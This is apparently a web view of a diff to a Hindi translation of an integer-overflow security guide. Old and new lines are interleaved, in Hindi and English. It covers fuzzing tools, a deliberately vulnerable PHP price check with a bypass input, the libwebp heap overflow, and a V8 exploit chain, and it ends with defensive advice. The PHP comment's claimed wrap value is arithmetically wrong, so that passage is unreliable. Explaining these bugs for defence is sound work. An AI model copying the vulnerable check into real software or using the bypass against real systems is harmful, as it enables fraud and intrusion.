* **boofuzz** – लंबाई क्षेत्रों पर ध्यान केंद्रित करते हुए नेटवर्क-प्रोटोकॉल फज़िंग (WebSocket, HTTP/2)।
|
||||
* **AFL++/Honggfuzz** libFuzzer harness के साथ parser के चारों ओर (उदा., WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – व्याकरण-सचेत fuzzing JavaScript engines पर V8/JSC के integer truncations को लक्षित करने के लिए.
|
||||
* **boofuzz** – नेटवर्क-प्रोटोकॉल fuzzing (WebSocket, HTTP/2) जो लंबाई फ़ील्ड पर केंद्रित है.
|
||||
|
||||
---
|
||||
|
||||
## 4. शोषण पैटर्न
|
||||
## 4. Exploitation patterns
|
||||
|
||||
### 4.1 सर्वर-साइड कोड में लॉजिक बायपास (PHP उदाहरण)
|
||||
### 4.1 Logic bypass in server-side code (PHP example)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,27 +78,29 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 इमेज डिकोडर के माध्यम से हीप ओवरफ्लो (libwebp 0-day)
|
||||
WebP लॉसलेस डिकोडर ने 32-बिट int के अंदर इमेज चौड़ाई × ऊँचाई × 4 (RGBA) को गुणा किया। 16384 × 16384 के आयामों के साथ एक तैयार की गई फ़ाइल गुणा को ओवरफ्लो करती है, एक छोटा बफर आवंटित करती है और इसके बाद **~1GB** अव्यवस्थित डेटा हीप के पार लिखती है - जो हर Chromium-आधारित ब्राउज़र में RCE की ओर ले जाती है जो 116.0.5845.187 से पहले है।
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
WebP lossless decoder ने image width × height × 4 (RGBA) को एक 32-bit int के अंदर गुणा किया। 16384 × 16384 आयाम वाली एक crafted file इस गुणा को overflow कर देती है, एक छोटा buffer allocate करती है और उसके बाद heap के बाहर **~1GB** अनकंप्रेस्ड डेटा लिख देती है – जिससे 116.0.5845.187 से पहले के हर Chromium-based browser में RCE होता है।
|
||||
|
||||
### 4.3 ब्राउज़र-आधारित XSS/RCE श्रृंखला
|
||||
1. V8 में **Integer overflow** मनमाना पढ़ने/लिखने की अनुमति देता है।
|
||||
2. एक दूसरे बग के साथ सैंडबॉक्स से बाहर निकलें या एक पेलोड छोड़ने के लिए स्थानीय APIs को कॉल करें।
|
||||
3. पेलोड फिर मूल संदर्भ में एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करता है → स्टोर की गई XSS।
|
||||
1. **Integer overflow** in V8 gives arbitrary read/write.
|
||||
2. Sandbox से बाहर निकलें दूसरे बग से या native APIs को कॉल करके payload को drop करने के लिए।
|
||||
3. फिर payload एक malicious script को origin context में inject करता है → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. रक्षात्मक दिशानिर्देश
|
||||
## 5. रक्षा संबंधी दिशानिर्देश
|
||||
|
||||
1. **चौड़े प्रकार या चेक किए गए गणित का उपयोग करें** – जैसे, size_t, Rust checked_add, Go math/bits.Add64।
|
||||
2. **सीमाओं को जल्दी मान्य करें**: गणितीय कार्य से पहले व्यापार डोमेन के बाहर किसी भी मान को अस्वीकार करें।
|
||||
3. **कंपाइलर सैनीटाइजर्स सक्षम करें**: -fsanitize=integer, UBSan, Go race detector।
|
||||
4. **CI/CD में फज़िंग अपनाएं** – कवरेज फीडबैक को सीमा कॉर्पोरा के साथ मिलाएं।
|
||||
5. **पैच्ड रहें** – ब्राउज़र integer overflow बग अक्सर हफ्तों के भीतर हथियारबंद होते हैं।
|
||||
1. **Use wide types or checked math** – उदाहरण के लिए size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validate ranges early**: arithmetic से पहले business domain के बाहर किसी भी मान को reject करें।
|
||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adopt fuzzing in CI/CD** – coverage feedback को boundary corpora के साथ combine करें।
|
||||
5. **Stay patched** – browser integer overflow bugs अक्सर कुछ हफ्तों में weaponised हो जाते हैं।
|
||||
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user